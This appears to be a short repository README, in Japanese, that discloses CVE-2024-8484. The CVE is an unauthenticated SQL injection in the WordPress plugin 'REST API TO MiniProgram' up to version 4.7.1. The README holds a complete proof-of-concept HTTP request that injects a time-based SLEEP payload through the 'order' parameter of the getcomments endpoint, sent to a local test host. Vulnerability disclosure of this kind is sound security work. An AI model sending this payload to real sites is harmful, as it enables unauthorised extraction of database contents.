randomrobbiebf/cve-2024-8484REST API TO MiniProgram <= 4.7.1 - 未認証SQLインジェクション
REST API TO MiniProgram <= 4.7.1 - 未認証SQLインジェクション
CVE: CVE-2024-8484
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 7.5
Slugs: rest-api-to-miniprogram
WordPress用プラグイン「REST API TO MiniProgram」は、4.7.1以前のすべてのバージョンにおいて、/wp-json/watch-life-net/v1/comment/getcomments REST APIエンドポイントの'order'パラメータを介したSQLインジェクションに対して脆弱です。これは、ユーザー指定パラメータのエスケープ処理が不十分で、既存のSQLクエリの準備（プリペアドステートメント）が不足しているためです。この脆弱性により、認証されていない攻撃者は既存のクエリに追加のSQLクエリを付加し、データベースから機密情報を抽出することが可能になります。
GET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(10)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/post-new.php?post_type=page
Connection: keep-alive
If-Modified-Since: Mon, 16 Sep 2024 18:56:28 GMT
If-None-Match: "5a3-62241215fdfaa-gzip"
Priority: u=2
